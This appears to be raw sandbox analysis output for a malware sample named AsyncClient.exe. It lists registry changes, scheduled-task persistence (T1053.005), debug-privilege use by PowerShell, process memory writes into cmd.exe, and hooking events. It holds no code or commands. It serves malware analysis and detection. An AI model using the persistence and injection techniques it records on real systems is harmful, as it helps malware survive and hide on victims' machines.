Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6280	schtasks.exe
7876	schtasks.exe
6776	schtasks.exe
2772	schtasks.exe
7076	schtasks.exe
7648	schtasks.exe
2656	schtasks.exe
3892	schtasks.exe
132	schtasks.exe
7932	schtasks.exe
4616	schtasks.exe
3580	schtasks.exe
6460	schtasks.exe
4984	schtasks.exe
4080	schtasks.exe
4408	schtasks.exe
764	schtasks.exe
7228	schtasks.exe
2660	schtasks.exe
2736	schtasks.exe
4420	schtasks.exe
7716	schtasks.exe
4136	schtasks.exe
7704	schtasks.exe
7796	schtasks.exe
4324	schtasks.exe
7792	schtasks.exe
3568	schtasks.exe
1516	schtasks.exe
320	schtasks.exe
7384	schtasks.exe
5652	schtasks.exe
6760	schtasks.exe
4940	schtasks.exe
2028	schtasks.exe
6036	schtasks.exe
1248	schtasks.exe
960	schtasks.exe
960	schtasks.exe
6732	schtasks.exe
7628	schtasks.exe
5132	schtasks.exe
6208	schtasks.exe
5048	schtasks.exe
5744	schtasks.exe
6440	schtasks.exe
6828	schtasks.exe
1912	schtasks.exe
3860	schtasks.exe
4812	schtasks.exe
7504	schtasks.exe
6884	schtasks.exe
4048	schtasks.exe
7076	schtasks.exe
8052	schtasks.exe
7484	schtasks.exe
7212	schtasks.exe
7644	schtasks.exe
4428	schtasks.exe
1564	schtasks.exe
6828	schtasks.exe
4264	schtasks.exe
7620	schtasks.exe
7712	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 31 IoCs

pid	Process
3208	explorer.exe
4704	explorer.exe
4668	explorer.exe
5872	explorer.exe
4116	explorer.exe
3888	explorer.exe
4864	explorer.exe
2056	explorer.exe
5960	explorer.exe
4180	explorer.exe
2188	explorer.exe
5452	explorer.exe
5544	explorer.exe
6496	explorer.exe
6320	explorer.exe
6540	explorer.exe
6964	explorer.exe
7228	explorer.exe
6984	explorer.exe
7324	explorer.exe
6252	explorer.exe
8108	explorer.exe
2364	explorer.exe
6140	explorer.exe
2952	explorer.exe
4640	explorer.exe
3648	explorer.exe
5848	explorer.exe
7580	explorer.exe
4776	explorer.exe
4968	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1840	powershell.exe
5844	powershell.exe
5844	powershell.exe
1840	powershell.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe
3708	AsyncClient.exe

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

pid	Process
3208	explorer.exe
3708	AsyncClient.exe
3648	explorer.exe
7580	explorer.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeDebugPrivilege	5844	powershell.exe
Token: SeDebugPrivilege	3708	AsyncClient.exe
Token: SeDebugPrivilege	3708	AsyncClient.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	664	powershell.exe
Token: SeDebugPrivilege	4040	powershell.exe
Token: SeDebugPrivilege	3116	powershell.exe
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	5744	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeDebugPrivilege	6444	powershell.exe
Token: SeDebugPrivilege	5864	powershell.exe
Token: SeDebugPrivilege	6176	powershell.exe
Token: SeDebugPrivilege	7940	powershell.exe
Token: SeDebugPrivilege	7960	powershell.exe
Token: SeDebugPrivilege	8132	powershell.exe
Token: SeDebugPrivilege	7488	powershell.exe
Token: SeDebugPrivilege	6904	powershell.exe
Token: SeDebugPrivilege	7444	powershell.exe
Token: SeDebugPrivilege	7800	powershell.exe
Token: SeDebugPrivilege	7508	powershell.exe
Token: SeDebugPrivilege	8056	powershell.exe
Token: SeDebugPrivilege	6404	powershell.exe
Token: SeDebugPrivilege	5600	powershell.exe
Token: SeDebugPrivilege	5388	powershell.exe
Token: SeDebugPrivilege	1668	powershell.EXE
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	7736	powershell.exe

Suspicious use of SetWindowsHookEx 62 IoCs

pid	Process
3208	explorer.exe
3208	explorer.exe
4704	explorer.exe
4704	explorer.exe
4668	explorer.exe
4668	explorer.exe
5872	explorer.exe
5872	explorer.exe
3888	explorer.exe
4116	explorer.exe
4116	explorer.exe
3888	explorer.exe
4864	explorer.exe
4864	explorer.exe
2056	explorer.exe
2056	explorer.exe
5960	explorer.exe
5960	explorer.exe
4180	explorer.exe
4180	explorer.exe
2188	explorer.exe
2188	explorer.exe
5452	explorer.exe
5452	explorer.exe
5544	explorer.exe
5544	explorer.exe
6496	explorer.exe
6496	explorer.exe
6320	explorer.exe
6540	explorer.exe
6320	explorer.exe
6540	explorer.exe
6984	explorer.exe
6964	explorer.exe
6964	explorer.exe
6984	explorer.exe
7228	explorer.exe
7228	explorer.exe
7324	explorer.exe
7324	explorer.exe
6252	explorer.exe
6252	explorer.exe
8108	explorer.exe
8108	explorer.exe
2364	explorer.exe
2364	explorer.exe
6140	explorer.exe
6140	explorer.exe
2952	explorer.exe
2952	explorer.exe
4640	explorer.exe
4640	explorer.exe
3648	explorer.exe
3648	explorer.exe
5848	explorer.exe
5848	explorer.exe
7580	explorer.exe
7580	explorer.exe
4776	explorer.exe
4776	explorer.exe
4968	explorer.exe
4968	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3708 wrote to memory of 4936	3708	AsyncClient.exe	80
PID 3708 wrote to memory of 4904	3708	AsyncClient.exe	82
PID 3708 wrote to memory of 5068	3708	AsyncClient.exe	84
PID 3708 wrote to memory of 4860	3708	AsyncClient.exe	86
PID 3708 wrote to memory of 5392	3708	AsyncClient.exe	88
PID 4904 wrote to memory of 3768	4904	cmd.exe	90
PID 3708 wrote to memory of 3276	3708	AsyncClient.exe	91
PID 3708 wrote to memory of 5428	3708	AsyncClient.exe	93
PID 4936 wrote to memory of 2724	4936	cmd.exe	95
PID 4860 wrote to memory of 2988	4860	cmd.exe	96
PID 5392 wrote to memory of 5296	5392	cmd.exe	97
PID 5068 wrote to memory of 1888	5068	cmd.exe	98
PID 5428 wrote to memory of 764	5428	cmd.exe	99
PID 3276 wrote to memory of 3568	3276	cmd.exe	100
PID 3708 wrote to memory of 4144	3708	AsyncClient.exe	109
PID 3708 wrote to memory of 2596	3708	AsyncClient.exe	111
PID 3708 wrote to memory of 5216	3708	AsyncClient.exe	113
PID 3708 wrote to memory of 5412	3708	AsyncClient.exe	115
PID 3708 wrote to memory of 6080	3708	AsyncClient.exe	117
PID 3708 wrote to memory of 4140	3708	AsyncClient.exe	120
PID 4144 wrote to memory of 3528	4144	cmd.exe	197
PID 2596 wrote to memory of 3588	2596	cmd.exe	122
PID 5216 wrote to memory of 1476	5216	cmd.exe	123
PID 3708 wrote to memory of 984	3708	AsyncClient.exe	124
PID 5412 wrote to memory of 1376	5412	cmd.exe	126
PID 6080 wrote to memory of 2640	6080	cmd.exe	262
PID 4140 wrote to memory of 4056	4140	cmd.exe	128
PID 984 wrote to memory of 5744	984	cmd.exe	281
PID 3708 wrote to memory of 232	3708	AsyncClient.exe	130
PID 3708 wrote to memory of 1944	3708	AsyncClient.exe	132
PID 3708 wrote to memory of 1592	3708	AsyncClient.exe	134
PID 3708 wrote to memory of 1380	3708	AsyncClient.exe	136
PID 3708 wrote to memory of 1432	3708	AsyncClient.exe	138
PID 3708 wrote to memory of 3288	3708	AsyncClient.exe	140
PID 1944 wrote to memory of 3944	1944	cmd.exe	141
PID 1592 wrote to memory of 3368	1592	cmd.exe	143
PID 3708 wrote to memory of 3732	3708	AsyncClient.exe	144
PID 232 wrote to memory of 1660	232	cmd.exe	146
PID 3288 wrote to memory of 1516	3288	cmd.exe	148
PID 1432 wrote to memory of 3996	1432	cmd.exe	151
PID 1380 wrote to memory of 2372	1380	cmd.exe	152
PID 3732 wrote to memory of 2656	3732	cmd.exe	153
PID 3708 wrote to memory of 4364	3708	AsyncClient.exe	156
PID 3708 wrote to memory of 1620	3708	AsyncClient.exe	158
PID 3708 wrote to memory of 5532	3708	AsyncClient.exe	161
PID 3708 wrote to memory of 5044	3708	AsyncClient.exe	163
PID 4364 wrote to memory of 1672	4364	cmd.exe	166
PID 3708 wrote to memory of 6000	3708	AsyncClient.exe	167
PID 3708 wrote to memory of 1184	3708	AsyncClient.exe	169
PID 3708 wrote to memory of 4252	3708	AsyncClient.exe	171
PID 3708 wrote to memory of 5816	3708	AsyncClient.exe	173
PID 1620 wrote to memory of 3844	1620	cmd.exe	175
PID 3708 wrote to memory of 2452	3708	AsyncClient.exe	176
PID 3708 wrote to memory of 2328	3708	AsyncClient.exe	177
PID 3708 wrote to memory of 1992	3708	AsyncClient.exe	180
PID 5532 wrote to memory of 5228	5532	cmd.exe	184
PID 3708 wrote to memory of 2068	3708	AsyncClient.exe	185
PID 3708 wrote to memory of 3504	3708	AsyncClient.exe	186
PID 5044 wrote to memory of 1368	5044	cmd.exe	188
PID 3708 wrote to memory of 1164	3708	AsyncClient.exe	190
PID 3708 wrote to memory of 6084	3708	AsyncClient.exe	191
PID 3708 wrote to memory of 1460	3708	AsyncClient.exe	194
PID 6000 wrote to memory of 3864	6000	cmd.exe	195
PID 3708 wrote to memory of 3528	3708	AsyncClient.exe	197

C:\Users\Admin\AppData\Local\Temp\AsyncClient.exe
"C:\Users\Admin\AppData\Local\Temp\AsyncClient.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
